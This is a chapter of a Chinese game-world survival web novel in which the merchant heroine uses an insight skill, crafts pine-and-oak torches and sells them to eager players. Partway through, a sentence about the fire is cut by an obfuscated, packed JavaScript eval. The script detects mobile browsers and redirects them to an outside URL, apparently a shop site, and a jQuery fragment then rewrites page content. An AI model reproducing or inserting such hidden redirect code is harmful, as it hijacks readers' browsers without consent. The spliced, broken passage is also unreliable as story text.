姜枝很满意这个技能,有效地弥补了她文化知识不够充足的缺点。
就职成功后,个人面板也发生了改变。
【玩家ID:姜枝(钱多多)】
【职业:商人(见习)】
【等级:3】
【称号:无】
【战斗力:2】
【血量值:80/100】
【饱腹值:89/150】
【理智值:97/100】
【评价:身体素质尚可、内核稳定的大胃王。(或许你该吃点东西了)】
装备页面,大部分都是空的,武器栏就是她现在的手斧。
手斧上面有个战斗力+1标识。
也就是说姜枝原本战斗只有1?
她好歹常年劳作,相比普通女性,力气大了很多,也不至于就只有1的战斗力吧。
忍着吐槽继续看,商人职业里,出现了两个被动效果。
第一条就是经验改为资产,她卖手斧赚到了六百多金币,把她的经验值就顶到了3级一半还多的位置。
另一条被动效果就很有意思了。
【等价交换:不是掠夺,是交易。真正的商人从不掠夺,他们让对手心甘情愿地付出。】
【你将能看到目标所急缺的商品。】
看到急缺的商品?好抽象的概念。
知道对手缺啥,好卖商品给它吗?
姜枝看向脚边的眷属猴,发动了洞察,词条立即从猕猴的头顶弹出。
【临时眷属:寻物猕猴-LV1(3:18)】
【状态:友善,轻度饥饿,轻度疲惫】
【技能:初级寻物】
【可搜寻物品列表:野果、草药、小型兽穴、松散石块、小树枝】
【可交易物:一切植物性食物】
原来当她眷属的时间只有4小时。
被面包雇佣的临时眷属,肚子饿了会跑,可以理解。
姜枝又看向地上的一根树枝,发动洞察。
【栎树的小树枝】
【品质:普通】
【特性:木材坚硬、耐腐?。】
【可用于:制作木板,制作火把,合成手斧,充当燃料……】
火把?
这倒提醒她了,黑夜里需要光源。
姜枝在工具栏里,找到了制作火把的配方。
制作材料:树枝、易燃物。
姜枝抬头,望向四周。
当她把目光聚焦在远处的环境上,视野里突然就挤满了巨量的词条,一股针扎般的剧痛出现在脑海里。
姜枝痛得惨叫一声,捂着头跪倒在地。
过了不知道多久,姜枝才感觉耳朵里的嗡鸣声减弱,背后早就被冷汗打湿了。
视野里的词条看不到了,她仍然心有余悸。
那种被针刺的痛感还好似残留在神经里。
技能原来还有这样的副作用。
下次就记住了,不能贪心的用洞察扫描太大的范围。
姜枝垂下眼。
猴子带回的树枝还有不少,其中有几根长得不太一样。
她再度发动了洞察。
十几个词条浮起来,并没有感到刺痛,姜枝放下心。
树枝显示大部分是栎树枝,但其中几根枝条细软的显示为:
【油松枝条】
【品质:普通】
【特性:材质较硬,富含树脂,耐久用】
【可用于:制作建筑,造船,器具,家具等……】
就是它!
姜枝拿起一根油松枝,对着眷属猴比划。
“还记得这种树枝是从哪里折的吗?”
还是最早的那只小猴子主动凑过来,唧唧叫了两声,往外走。
走两步还回头来看她。
姜枝立即抬脚跟上。
跟着小猴子走了大概十几分钟,姜枝就看到了一大片松树林。
油松的树干上,有些半固态褐色的透明物质,那就是树脂,也就是松节油的原料。
不过姜枝的目标不是树脂,而是枝叶本身。
折下来几片干燥的松针叶,又捡拾了几块脱落的薄脆树皮。
洞察可以看到,详细的描述。
【油松针叶、油松树皮】
【品质:普通】
【特性:含有大量?高挥发性萜类和树脂?,这些物质沸点低、易挥发,遇火源极易点燃。】
【可用于:充当易燃物】
姜枝又抽出一根栎树枝,系统制作栏果然亮起了新图标【简易火把】。
但第一件造物必须手搓。
这倒也难不倒姜枝。
姜枝先是用藤条将油松针叶紧密地绑在栎木棒前端。
为了方便引燃,她填进去了非常多针叶。
引火也好办,燧石本身就是很好的打火工具,刚才做手斧修型的时候,就打出了许多火星子。
姜枝在油松林附近的空地上,找了个避风的位置,略微清理了一下地面,用石头堆了个火坑。
火坑里填进去易燃的松针跟干树皮,用两块燧石彼此敲打,飞溅的火星不断落进了火坑里。
“嗤”的一声,易燃物里冒起青烟,带着微妙的苦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373284|200038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味,很快火焰就稳稳地燃起。
姜枝将火把点燃,物品显示制作完成。
【物品:简易火把】
【品级:普通】
【耐久:30/30】
【利用油松的易燃与栎木的耐烧制成的临时光源。照明,驱散黑暗与少量寒意,小幅驱赶普通野兽。】
【燃烧时间:2小时。】
【注意使用时别烧到自己。】
成了。
有了火堆跟火把,她就不用担心过夜的问题了。
姜枝看向逐渐暗淡的头顶。
游戏的天空,是雾蒙蒙的,完全看不到太阳,到了晚上自然也是看不到月亮和星星。
这意味着,入夜后,几乎不会有任何自然光源。
在陌生的荒野,黑暗就意味着未知、寒冷和成倍增加的危险!
火把将会是比斧头更紧迫的必需品。
而且火把还是耗材,永远不愁销量的。
姜枝又实验了几次,还换了油松本身的树枝做火把。
都是一样的工艺流程,但油松树枝做出来的简易火把,居然还是个武器!
火焰会从易燃物飞速烧到树枝上,火势丝毫不减。
熊熊燃烧的火焰,非常的吓人。
满地都是油松的枯枝树皮,这一大片油松林都会是易燃区,姜枝只能先把油松火把收进系统背包。
火把变成了一个图标。
嗯,暂且安生了。
这么危险的东西,战斗力居然只是火伤+1,实在太谦虚了。
不耐烧的火把,可卖不上价,就地取材用油松枝的美梦破灭了。
想做火把,栎树枝还得是必需品。
寻物猕猴们吱吱叫着散去找树枝。
姜枝则抓紧时间,收集起了油松针叶。
等栎树枝被猴子们送来,她就可以源源不断地合成火把,上架出售了。
她将火把定价为4金币,比面包还便宜1点。
得考虑让在交易行已经购买过食物的人,用剩余的货币也能够购买。
区域频道再次被引爆。
“火把!是火把!是哪位菩萨做的?我刚担心天黑了怎么办。”
“4金币一个,买了买了!钻木取火根本是骗人的,再点不着火我要死了!”
“是不是手斧那位大佬?又改行卖火把了?牛逼!”
“大佬看看我,我出5金,先卖我一个!”
“完全抢不到!你们是住在交易行吗?”
姜枝没看频道,她现在有更需要担忧的事情。
树枝不够用。